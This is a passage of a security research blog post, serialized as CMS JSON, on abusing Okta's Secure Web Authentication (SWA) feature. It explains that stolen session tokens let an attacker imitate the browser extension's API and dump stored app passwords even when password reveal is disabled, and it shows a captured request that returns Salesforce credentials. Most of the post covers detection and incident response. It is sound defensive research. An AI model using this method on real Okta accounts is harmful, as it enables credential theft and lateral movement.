clarity):",{"data":202218,"content":202222,"nodeType":912},{"target":202219},{"sys":202220},{"id":202221,"type":909,"linkType":910},"2tiqg9EUoa9KxkTCduZoVe",[],{"data":202224,"content":202228,"nodeType":912},{"target":202225},{"sys":202226},{"id":202227,"type":909,"linkType":910},"4ApkgD7IwPRC3jC09Jf2SJ",[],{"data":202230,"content":202231,"nodeType":866},{},[202232],{"data":202233,"marks":202234,"value":202236,"nodeType":865},{},[202235],{"type":898},"This response to the browser extension’s web request contains the username and password for Salesforce",{"data":202238,"content":202239,"nodeType":866},{},[202240],{"data":202241,"marks":202242,"value":202243,"nodeType":865},{},[],"This is the Salesforce-specific login script that allows the extension to automatically log the user in to Salesforce and includes their credentials. This request will include the credentials even if password reveal is disabled - the request above was captured using an intercepting proxy like Burp Suite.",{"data":202245,"content":202246,"nodeType":1317},{},[202247],{"data":202248,"marks":202249,"value":202250,"nodeType":865},{},[],"2. Cross-account shared passwords",{"data":202252,"content":202253,"nodeType":866},{},[202254],{"data":202255,"marks":202256,"value":202257,"nodeType":865},{},[],"An additional risk with SWA is an operational one. Administrators can set passwords for users and also disable password reveal, which can encourage the use of shared passwords, since they don’t expect the users to see them. ",{"data":202259,"content":202260,"nodeType":866},{},[202261],{"data":202262,"marks":202263,"value":202264,"nodeType":865},{},[],"If administrators are auto-generating complex passwords for every single user account they create as a strong operational process, then there may be no issue. However, breach history would tell us that rarely do organizations have operational security practices as stringent as that.",{"data":202266,"content":202267,"nodeType":866},{},[202268],{"data":202269,"marks":202270,"value":202271,"nodeType":865},{},[],"An attacker compromising an Okta user account can not only extract valid credentials for all configured SWA apps for that user, but may uncover passwords that are valid for other user accounts configured by administrators, making this a likely vector for lateral movement.",{"data":202273,"content":202274,"nodeType":1317},{},[202275],{"data":202276,"marks":202277,"value":202278,"nodeType":865},{},[],"3. Shared Okta passwords",{"data":202280,"content":202281,"nodeType":866},{},[202282],{"data":202283,"marks":202284,"value":202285,"nodeType":865},{},[],"One SWA option administrators can configure is to require the user to use their Okta password for the application (see earlier screenshot of configuration options). In this case, Okta lets the user set the password for the application, but it will confirm it matches the user’s Okta password and reject it otherwise.",{"data":202287,"content":202288,"nodeType":866},{},[202289],{"data":202290,"marks":202291,"value":202292,"nodeType":865},{},[],"This is a dangerous option, since it means the user’s Okta password is shared with other applications. So, if one of those applications is compromised, then their Okta password could be breached as well, which could allow both other applications and the user’s core Okta account to be compromised. It’s essentially enforcing password re-use, the exact opposite of what you want from an identity security perspective.",{"data":202294,"content":202295,"nodeType":1317},{},[202296],{"data":202297,"marks":202298,"value":202299,"nodeType":865},{},[],"4. Persistent access to connected apps",{"data":202301,"content":202302,"nodeType":866},{},[202303],{"data":202304,"marks":202305,"value":202306,"nodeType":865},{},[],"Okta acts as an authentication gateway for access to other applications. Ideally, strong authentication policies will be in place such as strong password policies, MFA, account lockout and detection and response controls.",{"data":202308,"content":202309,"nodeType":866},{},[202310],{"data":202311,"marks":202312,"value":202313,"nodeType":865},{},[],"However, if even a temporary compromise of an Okta account is achieved (for example through an Okta session theft), an attacker extracting all credentials for SWA apps does not need to maintain access to Okta any further. Instead, they can maintain persistent access to all the downstream SWA apps by logging in manually, using the credentials they have extracted without using Okta. ",{"data":202315,"content":202316,"nodeType":866},{},[202317],{"data":202318,"marks":202319,"value":202320,"nodeType":865},{},[],"This greatly complicates incident response playbooks. Where an otherwise simple recovery action like disabling an Okta account, resetting the password and MFA methods, et cetera, would kick an attacker out of the Okta account - for a user using SWA the attacker will still have all the access to downstream SWA applications unless every single SWA app user account is recovered as well. This is where the value of a federated identity becomes clear.",{"data":202322,"content":202325,"nodeType":912},{"target":202323},{"sys":202324},{"id":178620,"type":909,"linkType":910},[],{"data":202327,"content":202328,"nodeType":981},{},[202329],{"data":202330,"marks":202331,"value":202332,"nodeType":865},{},[],"Dumping SWA credentials",{"data":202334,"content":202335,"nodeType":866},{},[202336],{"data":202337,"marks":202338,"value":202339,"nodeType":865},{},[],"Since Okta SWA functions as a password manager, and it’s also possible to bypass password reveal restrictions, an attacker who has gained temporary access to an Okta session can automate the extraction of all credentials stored via SWA for that account.",{"data":202341,"content":202342,"nodeType":1317},{},[202343],{"data":202344,"marks":202345,"value":202346,"nodeType":865},{},[],"Using the password reveal API",{"data":202348,"content":202349,"nodeType":866},{},[202350],{"data":202351,"marks":202352,"value":202353,"nodeType":865},{},[],"One method would be to automate the password reveal API call in the dashboard for every app configured. This is the simplest, direct way to get credentials but has the disadvantage that it will not return credentials that have had password reveal disabled. The following screenshots show an example of the API call that is made:",{"data":202355,"content":202359,"nodeType":912},{"target":202356},{"sys":202357},{"id":202358,"type":909,"linkType":910},"27xCaphfwy6zSNU7QDQZ1g",[],{"data":202361,"content":202365,"nodeType":912},{"target":202362},{"sys":202363},{"id":202364,"type":909,"linkType":910},"begENC8Oxq4rwprZ0fGpG",[],{"data":202367,"content":202368,"nodeType":1317},{},[202369],{"data":202370,"marks":202371,"value":202372,"nodeType":865},{},[],"Using the browser extension API",{"data":202374,"content":202375,"nodeType":866},{},[202376],{"data":202377,"marks":202378,"value":202379,"nodeType":865},{},[],"The more effective way for an attacker to dump credentials, and bypass password reveal restrictions, is to emulate the API calls made by the browser extension to retrieve the login scripts for each SWA application. ",{"data":202381,"content":202382,"nodeType":866},{},[202383],{"data":202384,"marks":202385,"value":202386,"nodeType":865},{},[],"For an attacker to make these calls, a valid Okta session is needed. Specifically, the tokens that need to be extracted from the browser for these calls are:",{"data":202388,"content":202389,"nodeType":1616},{},[202390,202400],{"data":202391,"content":202392,"nodeType":1570},{},[202393],{"data":202394,"content":202395,"nodeType":866},{},[202396],{"data":202397,"marks":202398,"value":202399,"nodeType":865},{},[],"The access token in “okta-token-storage” in browser local storage",{"data":202401,"content":202402,"nodeType":1570},{},[202403],{"data":202404,"content":202405,"nodeType":866},{},[202406],{"data":202407,"marks":202408,"value":202409,"nodeType":865},{},[],"The “idx” token in cookies",{"data":202411,"content":202412,"nodeType":866},{},[202413],{"data":202414,"marks":202415,"value":202416,"nodeType":865},{},[],"These can be seen below:",{"data":202418,"content":202422,"nodeType":912},{"target":202419},{"sys":202420},{"id":202421,"type":909,"linkType":910},"4ooNI3TmnxqCAtw9MZuuVI",[],{"data":202424,"content":202428,"nodeType":912},{"target":202425},{"sys":202426},{"id":202427,"type":909,"linkType":910},"6rbgLXHewT34SPH3qA24Fu",[],{"data":202430,"content":202431,"nodeType":866},{},[202432],{"data":202433,"marks":202434,"value":202435,"nodeType":865},{},[],"The following screenshot shows the use of a simple internal PoC we created to investigate logging detection opportunities. It gives a sense of the type of information that can be retrieved for a test Okta user account: ",{"data":202437,"content":202441,"nodeType":912},{"target":202438},{"sys":202439},{"id":202440,"type":909,"linkType":910},"5lYhdtWKVqIch6CpksR7Dd",[],{"data":202443,"content":202444,"nodeType":981},{},[202445],{"data":202446,"marks":202447,"value":202448,"nodeType":865},{},[],"So if SWA can be risky, is SAML and OIDC safe?",{"data":202450,"content":202451,"nodeType":866},{},[202452],{"data":202453,"marks":202454,"value":202455,"nodeType":865},{},[],"In general, much more so, but as is unfortunately so often the case in security, the answer is “it depends.” The threat profile for federated SSO like SAML and OIDC is very different, and they don’t suffer from the risks highlighted with SWA use given above. ",{"data":202457,"content":202458,"nodeType":866},{},[202459,202464],{"data":202460,"marks":202461,"value":202463,"nodeType":865},{},[202462],{"type":926},"Any organization using Okta should strive to use SAML/OIDC for as many applications as possible - this is the true power of a federated identity solution",{"data":202465,"marks":202466,"value":1615,"nodeType":865},{},[],{"data":202468,"content":202469,"nodeType":866},{},[202470],{"data":202471,"marks":202472,"value":202473,"nodeType":865},{},[],"However, it’s important to remember that not even SAML/OIDC isn't a silver bullet.",{"data":202475,"content":202476,"nodeType":866},{},[202477],{"data":202478,"marks":202479,"value":202480,"nodeType":865},{},[],"For example, it’s still possible for an attacker achieving a temporary compromise of an Okta account to click every single SAML/OIDC application to establish authenticated sessions with all of them. While some sessions may be short-lived, depending on the application, these sessions may stay alive for longer periods such as 30 days or for some apps even indefinitely. ",{"data":202482,"content":202483,"nodeType":866},{},[202484],{"data":202485,"marks":202486,"value":202487,"nodeType":865},{},[],"While it may be simple for incident responders to disable an Okta account temporarily, it’s certainly much more difficult to disable all connected SaaS accounts and/or kill active sessions for all of them. ",{"data":202489,"content":202490,"nodeType":866},{},[202491],{"data":202492,"marks":202493,"value":202494,"nodeType":865},{},[],"Additionally, while active sessions won’t generally allow an attacker long-term access to an application like stolen SWA credentials often will, many different SaaS applications support methods that can be used to effectively backdoor access to them - though this is a risk to both SWA and federated identities.",{"data":202496,"content":202497,"nodeType":866},{},[202498],{"data":202499,"marks":202500,"value":202501,"nodeType":865},{},[],"This is another big challenge for incident responders to deal with, as it can allow attacks to maintain persistence without requiring valid credentials or active sessions. In other words, there are many ways to turn that short term access into persistent access outside Okta. ",{"data":202503,"content":202504,"nodeType":866},{},[202505,202508,202515],{"data":202506,"marks":202507,"value":188965,"nodeType":865},{},[],{"data":202509,"content":202510,"nodeType":889},{"uri":13171},[202511],{"data":202512,"marks":202513,"value":115902,"nodeType":865},{},[202514],{"type":943},{"data":202516,"marks":202517,"value":202518,"nodeType":865},{},[],". Some of the most common techniques that apply here are:",{"data":202520,"content":202521,"nodeType":1616},{},[202522,202541,202560,202579,202598],{"data":202523,"content":202524,"nodeType":1570},{},[202525],{"data":202526,"content":202527,"nodeType":866},{},[202528,202531,202538],{"data":202529,"marks":202530,"value":21,"nodeType":865},{},[],{"data":202532,"content":202533,"nodeType":889},{"uri":101210},[202534],{"data":202535,"marks":202536,"value":188996,"nodeType":865},{},[202537],{"type":943},{"data":202539,"marks":202540,"value":21,"nodeType":865},{},[],{"data":202542,"content":202543,"nodeType":1570},{},[202544],{"data":202545,"content":202546,"nodeType":866},{},[202547,202550,202557],{"data":202548,"marks":202549,"value":21,"nodeType":865},{},[],{"data":202551,"content":202552,"nodeType":889},{"uri":189011},[202553],{"data":202554,"marks":202555,"value":189017,"nodeType":865},{},[202556],{"type":943},{"data":202558,"marks":202559,"value":21,"nodeType":865},{},[],{"data":202561,"content":202562,"nodeType":1570},{},[202563],{"data":202564,"content":202565,"nodeType":866},{},[202566,202569,202576],{"data":202567,"marks":202568,"value":21,"nodeType":865},{},[],{"data":202570,"content":202571,"nodeType":889},{"uri":53259},[202572],{"data":202573,"marks":202574,"value":189037,"nodeType":865},{},[202575],{"type":943},{"data":202577,"marks":202578,"value":21,"nodeType":865},{},[],{"data":202580,"content":202581,"nodeType":1570},{},[202582],{"data":202583,"content":202584,"nodeType":866},{},[202585,202588,202595],{"data":202586,"marks":202587,"value":21,"nodeType":865},{},[],{"data":202589,"content":202590,"nodeType":889},{"uri":169773},[202591],{"data":202592,"marks":202593,"value":189057,"nodeType":865},{},[202594],{"type":943},{"data":202596,"marks":202597,"value":21,"nodeType":865},{},[],{"data":202599,"content":202600,"nodeType":1570},{},[202601],{"data":202602,"content":202603,"nodeType":866},{},[202604,202607,202614],{"data":202605,"marks":202606,"value":21,"nodeType":865},{},[],{"data":202608,"content":202609,"nodeType":889},{"uri":145802},[202610],{"data":202611,"marks":202612,"value":189077,"nodeType":865},{},[202613],{"type":943},{"data":202615,"marks":202616,"value":21,"nodeType":865},{},[],{"data":202618,"content":202619,"nodeType":981},{},[202620],{"data":202621,"marks":202622,"value":202623,"nodeType":865},{},[],"Investigating and detecting an Okta account compromise",{"data":202625,"content":202626,"nodeType":866},{},[202627],{"data":202628,"marks":202629,"value":202630,"nodeType":865},{},[],"The good news is there are multiple Okta log events that can be used for either investigating a breach or providing some detection mechanisms via a SIEM. Three key log events are as follows:",{"data":202632,"content":202633,"nodeType":1616},{},[202634,202649,202664],{"data":202635,"content":202636,"nodeType":1570},{},[202637],{"data":202638,"content":202639,"nodeType":866},{},[202640,202645],{"data":202641,"marks":202642,"value":202644,"nodeType":865},{},[202643],{"type":926},"Show password event",{"data":202646,"marks":202647,"value":202648,"nodeType":865},{},[]," - indicates when a user has clicked the reveal password button",{"data":202650,"content":202651,"nodeType":1570},{},[202652],{"data":202653,"content":202654,"nodeType":866},{},[202655,202660],{"data":202656,"marks":202657,"value":202659,"nodeType":865},{},[202658],{"type":926},"Evaluation of sign-on policy",{"data":202661,"marks":202662,"value":202663,"nodeType":865},{},[]," - occurs when the browser extension requests credentials",{"data":202665,"content":202666,"nodeType":1570},{},[202667],{"data":202668,"content":202669,"nodeType":866},{},[202670,202675],{"data":202671,"marks":202672,"value":202674,"nodeType":865},{},[202673],{"type":926},"User single sign on to app",{"data":202676,"marks":202677,"value":202678,"nodeType":865},{},[]," - occurs when a full app login is performed",{"data":202680,"content":202684,"nodeType":912},{"target":202681},{"sys":202682},{"id":202683,"type":909,"linkType":910},"23G5QvwzgyTEJBJ33Ut7NJ",[],{"data":202686,"content":202687,"nodeType":866},{},[202688],{"data":202689,"marks":202690,"value":202691,"nodeType":865},{},[],"Using these events in a post-compromise situation could potentially significantly reduce the response actions required. If there is clear evidence that the attacker only accessed a limited number of applications, focus can be placed on disabling those accounts and removing potential backdoors, as opposed to having to perform containment procedures for every single application the user has access to.",{"data":202693,"content":202694,"nodeType":1317},{},[202695],{"data":202696,"marks":202697,"value":202698,"nodeType":865},{},[],"Short time-window detection",{"data":202700,"content":202701,"nodeType":866},{},[202702],{"data":202703,"marks":202704,"value":202705,"nodeType":865},{},[],"While the events above are great for investigation, they are all expected events during normal use of Okta by a user. Perhaps the “show password” event may be rarer, but it would still not be completely unusual to see. ",{"data":202707,"content":202708,"nodeType":866},{},[202709],{"data":202710,"marks":202711,"value":202712,"nodeType":865},{},[],"This makes detection more difficult as defenders need to separate malicious logins from legitimate logins, a notoriously difficult task.",{"data":202714,"content":202715,"nodeType":866},{},[202716],{"data":202717,"marks":202718,"value":202719,"nodeType":865},{},[],"For proactive detection, one option would be to detect unusually large numbers of these events in a short time window for the same user account. This would be especially effective against automated tools. It would be much more unusual to see a legitimate user login to every app or reveal every password all in one go, or even all in one day. On the other hand, an attacker may seek to compromise all applications in a short time window.",{"data":202721,"content":202722,"nodeType":866},{},[202723],{"data":202724,"marks":202725,"value":202726,"nodeType":865},{},[],"Given below is an example of the flurry of logs generated by running our internal SWA password dumping tool shown earlier. You can see they are all generated in a very short time window:",{"data":202728,"content":202732,"nodeType":912},{"target":202729},{"sys":202730},{"id":202731,"type":909,"linkType":910},"2PaCRx02gpTyYOiuJ85x9Y",[],{"data":202734,"content":202735,"nodeType":866},{},[202736],{"data":202737,"marks":202738,"value":202739,"nodeType":865},{},[],"The only difficulty here is picking sensible numbers for the minimum number of apps and maximum time window required in order to generate a detection event. This would likely need customizing to individual environments based on what number of applications are typical for a user to have access to.",{"data":202741,"content":202742,"nodeType":866},{},[202743,202747,202756],{"data":202744,"marks":202745,"value":202746,"nodeType":865},{},[],"For more general Okta detection rule options, consider checking out the Okta rules contained in the open-source ",{"data":202748,"content":202750,"nodeType":889},{"uri":202749},"https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta",[202751],{"data":202752,"marks":202753,"value":202755,"nodeType":865},{},[202754],{"type":943},"Sigma rule repository on GitHub",{"data":202757,"marks":202758,"value":1615,"nodeType":865},{},[],{"data":202760,"content":202761,"nodeType":981},{},[202762],{"data":202763,"marks":202764,"value":202765,"nodeType":865},{},[],"Guidance for incident response",{"data":202767,"content":202768,"nodeType":866},{},[202769],{"data":202770,"marks":202771,"value":202772,"nodeType":865},{},[],"If there is one key takeaway from this article, it’s that responding to an Okta account compromise isn’t as simple as disabling the user’s Okta account and/or resetting passwords and MFA factors.",{"data":202774,"content":202775,"nodeType":866},{},[202776],{"data":202777,"marks":202778,"value":202779,"nodeType":865},{},[],"Once an attacker has compromised an Okta account, it should be initially assumed that all connected application accounts are also compromised, whether they use SAML, OIDC or SWA. ",{"data":202781,"content":202782,"nodeType":866},{},[202783],{"data":202784,"marks":202785,"value":202786,"nodeType":865},{},[],"If SWA is used, incident responders should also explore whether those passwords are compromised and whether any other accounts that potentially share those passwords are compromised. ",{"data":202788,"content":202789,"nodeType":866},{},[202790],{"data":202791,"marks":202792,"value":202793,"nodeType":865},{},[],"We’re going to assume all applications/credentials were accessed for the following containment advice, as it’s likely that even moderately-skilled attackers would have tools to automate this. ",{"data":202795,"content":202796,"nodeType":866},{},[202797],{"data":202798,"marks":202799,"value":202800,"nodeType":865},{},[],"A full belt and braces containment exercise would involve the following activities:",{"data":202802,"content":202803,"nodeType":1616},{},[202804,202814,202824,202834],{"data":202805,"content":202806,"nodeType":1570},{},[202807],{"data":202808,"content":202809,"nodeType":866},{},[202810],{"data":202811,"marks":202812,"value":202813,"nodeType":865},{},[],"Disabling/resetting the Okta account",{"data":202815,"content":202816,"nodeType":1570},{},[202817],{"data":202818,"content":202819,"nodeType":866},{},[202820],{"data":202821,"marks":202822,"value":202823,"nodeType":865},{},[],"Disabling/resetting every single connected application account",{"data":202825,"content":202826,"nodeType":1570},{},[202827],{"data":202828,"content":202829,"nodeType":866},{},[202830],{"data":202831,"marks":202832,"value":202833,"nodeType":865},{},[],"Identifying any other accounts that may share compromised SWA passwords for investigation and disabling/resetting",{"data":202835,"content":202836,"nodeType":1570},{},[202837],{"data":202838,"content":202839,"nodeType":866},{},[202840],{"data":202841,"marks":202842,"value":202843,"nodeType":865},{},[],"Investigating every connected application account for signs of backdooring through multiple persistence techniques",{"data":202845,"content":202846,"nodeType":866},{},[202847],{"data":202848,"marks":202849,"value":202850,"nodeType":865},{},[],"The last point on investigating potential backdoors is particularly important because of the following reasons:",{"data":202852,"content":202853,"nodeType":1616},{},[202854,202884],{"data":202855,"content":202856,"nodeType":1570},{},[202857],{"data":202858,"content":202859,"nodeType":866},{},[202860,202864,202871,202874,202881],{"data":202861,"marks":202862,"value":202863,"nodeType":865},{},[],"Even if every application user account is temporarily disabled while passwords are reset etc, re-enabling the account could re-activate the attacker’s access if they have made use of persistence techniques like ",{"data":202865,"content":202866,"nodeType":889},{"uri":101210},[202867],{"data":202868,"marks":202869,"value":101216,"nodeType":865},{},[202870],{"type":943},{"data":202872,"marks":202873,"value":4988,"nodeType":865},{},[],{"data":202875,"content":202876,"nodeType":889},{"uri":53259},[202877],{"data":202878,"marks":202879,"value":6715,"nodeType":865},{},[202880],{"type":943},{"data":202882,"marks":202883,"value":21,"nodeType":865},{},[],{"data":202885,"content":202886,"nodeType":1570},{},[202887],{"data":202888,"content":202889,"nodeType":866},{},[202890,202894,202902],{"data":202891,"marks":202892,"value":202893,"nodeType":865},{},[],"Even if all application user accounts are disabled, even permanently, techniques like ",{"data":202895,"content":202896,"nodeType":889},{"uri":189011},[202897],{"data":202898,"marks":202899,"value":202901,"nodeType":865},{},[202900],{"type":943},"link sharing",{"data":202903,"marks":202904,"value":202905,"nodeType":865},{},[]," can enable attackers to maintain access to data because link sharing decouples the access from being reliant on control of a user account.",{"data":202907,"content":202908,"nodeType":981},{},[202909],{"data":202910,"marks":202911,"value":41284,"nodeType":865},{},[],{"data":202913,"content":202914,"nodeType":866},{},[202915],{"data":202916,"marks":202917,"value":202918,"nodeType":865},{},[],"We’ve covered a lot of ground here, so let’s take a quick step back to understand the key points of impact:",{"data":202920,"content":202921,"nodeType":1616},{},[202922,202932,202942,202952,202962,202972],{"data":202923,"content":202924,"nodeType":1570},{},[202925],{"data":202926,"content":202927,"nodeType":866},{},[202928],{"data":202929,"marks":202930,"value":202931,"nodeType":865},{},[],"Attackers can extract passwords for SWA apps, even if password reveal has been disabled - to be clear, this is not a bug, it’s just a technical limitation on how this style of password manager login has to work",{"data":202933,"content":202934,"nodeType":1570},{},[202935],{"data":202936,"content":202937,"nodeType":866},{},[202938],{"data":202939,"marks":202940,"value":202941,"nodeType":865},{},[],"SWA passwords set by administrators should not be considered secret from the users as they can be accessed via the extension API",{"data":202943,"content":202944,"nodeType":1570},{},[202945],{"data":202946,"content":202947,"nodeType":866},{},[202948],{"data":202949,"marks":202950,"value":202951,"nodeType":865},{},[],"Attackers gaining temporary control of an Okta user account can establish authenticated sessions with SAML/OIDC applications. ",{"data":202953,"content":202954,"nodeType":1570},{},[202955],{"data":202956,"content":202957,"nodeType":866},{},[202958],{"data":202959,"marks":202960,"value":202961,"nodeType":865},{},[],"These sessions won’t automatically be revoked if the Okta user account is disabled/reset in response to compromise",{"data":202963,"content":202964,"nodeType":1570},{},[202965],{"data":202966,"content":202967,"nodeType":866},{},[202968],{"data":202969,"marks":202970,"value":202971,"nodeType":865},{},[],"There are multiple common attack techniques to gain persistent access to SaaS applications.  ",{"data":202973,"content":202974,"nodeType":1570},{},[202975],{"data":202976,"content":202977,"nodeType":866},{},[202978],{"data":202979,"marks":202980,"value":202981,"nodeType":865},{},[],"An attacker can potentially gain permanent access to many connected Okta applications even if efforts are made to reset individual application accounts",{"data":202983,"content":202984,"nodeType":981},{},[202985],{"data":202986,"marks":202987,"value":57175,"nodeType":865},{},[],{"data":202989,"content":202990,"nodeType":866},{},[202991],{"data":202992,"marks":202993,"value":202994,"nodeType":865},{},[],"While many of these attacks are not unique to Okta, it is one of the most widely used products because it supports many apps, but it supports these apps using methods that have very different risk profiles. ",{"data":202996,"content":202997,"nodeType":866},{},[202998],{"data":202999,"marks":203000,"value":203001,"nodeType":865},{},[],"From a security perspective (and whatever your chosen identity platform), our recommendation would be to use SAML (the strongest auth method) where possible. If that isn’t available, use OIDC. If neither is an option, use password managers (like SWA), which in practise leads to far less reused passwords. ",{"data":203003,"content":203004,"nodeType":866},{},[203005],{"data":203006,"marks":203007,"value":203008,"nodeType":865},{},[],"Unfortunately the state of modern cloud app landscape means that you will be paying a lot more to get many apps using federated SSO, and even then many will still not support this at any license tier, so the use of passwords is still going to be part of the solution.",{"data":203010,"content":203011,"nodeType":866},{},[203012],{"data":203013,"marks":203014,"value":203015,"nodeType":865},{},[],"As we have seen in this article, an attacker can use a compromised SSO session to perform a number of follow-up attacks. Whether using SWA or SAML/OIDC it’s possible to gain authenticated sessions on connected apps and also potentially backdoor access to them.",{"data":203017,"content":203018,"nodeType":866},{},[203019],{"data":203020,"marks":203021,"value":203022,"nodeType":865},{},[],"When using SWA, it’s additionally possible to extract SWA passwords even when password reveal is disabled and potentially gain access to passwords shared with other accounts. This requires additional actions as part of your breach recovery processes/play-books.",{"data":203024,"content":203025,"nodeType":866},{},[203026],{"data":203027,"marks":203028,"value":203029,"nodeType":865},{},[],"There are multiple log events that can be used by security teams to investigate and respond to Okta account compromises and potentially detect them too. Additionally, strong incident response procedures need to be in place for dealing with compromised Okta or any other SSO accounts that factor in the ability for an attacker to laterally move to all the connected applications. Therefore, plans need to include revoking their access to those as well and investigating them for signs of backdoor persistence techniques.",{"entries":203031},{"hyperlink":203032,"inline":203033,"block":203034},[],[],[203035,203042,203044,203051,203059,203067,203075,203079,203083,203090,203097,203104,203110,203116,203123],{"sys":203036,"__typename":1390,"title":203037,"caption":59,"layoutMode":59,"file":203038},{"id":201906},"SWA for Salesforce ",{"url":203039,"width":203040,"height":203041},"https://images.ctfassets.net/y1cdw1ablpvd/3aoL5dRRGM3VL3k6GDXmHg/db100cfc57bf0fa34bd822d5f475984f/image10.png",1053,1007,{"sys":203043,"__typename":1414,"type":160850,"ctaText":188175,"buttonLabel":188176,"buttonColour":1418,"buttonUrl":59},{"id":161934},{"sys":203045,"__typename":1390,"title":203046,"caption":59,"layoutMode":59,"file":203047},{"id":202110},"SWA configuration",{"url":203048,"width":203049,"height":203050},"https://images.ctfassets.net/y1cdw1ablpvd/78s95OShHAzkXFlc7e14Hd/b6ac238115249a5fe71080bf0142a9dc/image13.png",682,293,{"sys":203052,"__typename":1390,"title":203053,"caption":203054,"layoutMode":59,"file":203055},{"id":202160},"SWA credential details","Administrators can disable password reveal on a per-app basis, as can be seen by unchecking the box here",{"url":203056,"width":203057,"height":203058},"https://images.ctfassets.net/y1cdw1ablpvd/3FrFNvcjFdBXGtf0ynfLZ/b4d0f5d15787e8a084faeca8512e2725/image8.png",684,243,{"sys":203060,"__typename":1390,"title":203061,"caption":203062,"layoutMode":59,"file":203063},{"id":202166},"Salesforce login","When password reveal is disabled, users see this message and cannot request the credentials",{"url":203064,"width":203065,"height":203066},"https://images.ctfassets.net/y1cdw1ablpvd/6q0nLXJSCURTJWZblqT9vq/a69e68276777f1a9f3ad7ebe89ebc139/image6.png",326,532,{"sys":203068,"__typename":1390,"title":203069,"caption":203070,"layoutMode":59,"file":203071},{"id":202221},"Okta extension","Clicking the Salesforce login button triggers a web request which returns the data shown below (and which is visible to the user through for example the browser’s built-in devtools)",{"url":203072,"width":203073,"height":203074},"https://images.ctfassets.net/y1cdw1ablpvd/LyjRr43VyfcQWpzlV3EQ5/56081e155d8a3fcb8d3aa80def11ff26/image7.png",453,504,{"sys":203076,"__typename":134238,"name":203077,"type":228,"syntax":203078},{"id":202227},"Salesforce web request data","GET /api/plugin/2/app/salesforce/0oa5ybnree2VPL6EA0x7/flow?plugin_version=6.20.0-73.101.0 HTTP/2\n\n\n{\n  \"scripts\": {\n    \"script\": [\n      {\n        \"action\": [\n          {\n            \"id\": \"username\",\n            \"value\": \"lukejennings@bugcrowdninja.com\",\n            ...\n          },\n          {\n                        \"id\": \"password\",\n                       \"value\": \"MySalesforcePassword1\",\n            ...\n          },\n          {\n            \"type\": \"click\",\n\n\n\n            \"element\": \"css=input[id=\\\"Login\\\"]\",\n            ...\n          }\n        ],\n        \"name\": \"Login\"\n      }\n    ]\n  },\n  \"urls\": {\n    \"match\": [\n      {\n        \"exact\": false,\n        \"isRegex\": false,\n        \"matchFrames\": false,\n        \"url\": \"https://login.salesforce.com\",\n        \"scriptName\": \"Login\"\n      }\n    ]\n  },\n  \"annotated\": false,\n  \"hasEncryptedValues\": false,\n  \"appName\": \"salesforce\",\n  \"signOnModeType\": \"BROWSER_PLUGIN\"\n}\n",{"sys":203080,"__typename":1414,"type":127679,"ctaText":203081,"buttonLabel":203082,"buttonColour":148156,"buttonUrl":59},{"id":178620},"See more original research and technical content from Push","Follow us on LinkedIn",{"sys":203084,"__typename":1390,"title":203085,"caption":59,"layoutMode":59,"file":203086},{"id":202358},"Password reveal API",{"url":203087,"width":203088,"height":203089},"https://images.ctfassets.net/y1cdw1ablpvd/4mqIfbFwKPhLepm4he2skV/194964f3261c5a9e564899068049e54d/image3.png",676,130,{"sys":203091,"__typename":1390,"title":203092,"caption":59,"layoutMode":59,"file":203093},{"id":202364},"Password reveal API 2",{"url":203094,"width":203095,"height":203096},"https://images.ctfassets.net/y1cdw1ablpvd/66tquT2FlW6ZEkzwu3eGH1/292c902f9a364e2dc3b25506ac4ecb13/image11.png",1069,463,{"sys":203098,"__typename":1390,"title":203099,"caption":59,"layoutMode":59,"file":203100},{"id":202421},"Okta token storage",{"url":203101,"width":203102,"height":203103},"https://images.ctfassets.net/y1cdw1ablpvd/3JyyiqyemQR7HeztvdB98u/a35a82a49e4ef168579a52de66ea6892/image14.png",906,404,{"sys":203105,"__typename":1390,"title":203106,"caption":59,"layoutMode":59,"file":203107},{"id":202427},"Okta token storage 2",{"url":203108,"width":203109,"height":134190},"https://images.ctfassets.net/y1cdw1ablpvd/1gUig6FNPvlAqGaqSoBrbM/36afab96a0c4d2a1ec4ac64a7c34f066/image4.png",898,{"sys":203111,"__typename":1390,"title":203112,"caption":59,"layoutMode":59,"file":203113},{"id":202440},"Okta internal POC",{"url":203114,"width":1402,"height":203115},"https://images.ctfassets.net/y1cdw1ablpvd/naYWcydapvxMisBc4I0d2/41e0b5e816b38927354e39d39414d97f/image5.png",350,{"sys":203117,"__typename":1390,"title":203118,"caption":59,"layoutMode":59,"file":203119},{"id":202683},"Okta log events",{"url":203120,"width":203121,"height":203122},"https://images.ctfassets.net/y1cdw1ablpvd/7g9KCqO9mqC9mxaJH4O8u5/8062fc4441cd42371c0a97642a6d8de5/image2.png",999,283,{"sys":203124,"__typename":1390,"title":203125,"caption":59,"layoutMode":59,"file":203126},{"id":202731},"Logs generated by our internal SWA password dumping tool",{"url":203127,"width":203128,"height":203129},"https://images.ctfassets.net/y1cdw1ablpvd/3Ok01IBCObf6bsLmOeWLA1/727605fae8500d4e9c2284299ea82617/image1.png",1016,724,{"items":203131},[],{},"Abusing Okta's SWA authentication method","2023-11-30T00:00:00.000Z",{"items":203136},[203137,204461,205209],{"__typename":1429,"sys":203138,"content":203140,"title":204448,"synopsis":203157,"hashTags":59,"publishedDate":204449,"slug":204450,"tagsCollection":204451,"authorsCollection":204457},{"id":203139},"3JXKiUMGU8JBpndhLRYOCJ",{"json":203141},{"data":203142,"content":203143,"nodeType":1382},{},[203144,203151,203158,203164,203171,203193,203200,203206,203213,203220,203227,203262,203268,203275,203393,203400,203407,203663,203670,203677,203683,203716,203723,203730,203736,203743,203749,203756,203763,203769,203776,203783,203789,203796,203803,203809,203816,203832,203838,203845,203878,203885,203905,203912,203919,203926,203932,203970,203990,204044,204051,204058,204078,204097,204104,204137,204143,204150,204157,204164,204171,204178,204185,204205,204211,204218,204237,204244,204251,204257,204264,204271,204277,204284,204330,204337,204343,204350,204356,204363,204370,204403,204409,204416,204423,204430,204437,204442],{"data":203145,"content":203146,"nodeType":866},{},[203147],{"data":203148,"marks":203149,"value":203150,"nodeType":865},{},[],"With the proliferation of SaaS apps and integrations comes an equal helping of uncertainty surrounding the associated security risks. If you’ve ever found yourself in a position where you’ve had to review a SaaS app integration, whether it’s during the remediation stage of an incident or simply during the process of tending to a user request, then keep on reading. ",{"data":203152,"content":203153,"nodeType":866},{},[203154],{"data":203155,"marks":203156,"value":203157,"nodeType":865},{},[],"This article covers common ways an app could lead to compromise in Microsoft Azure, and what to look out for when determining risk to your 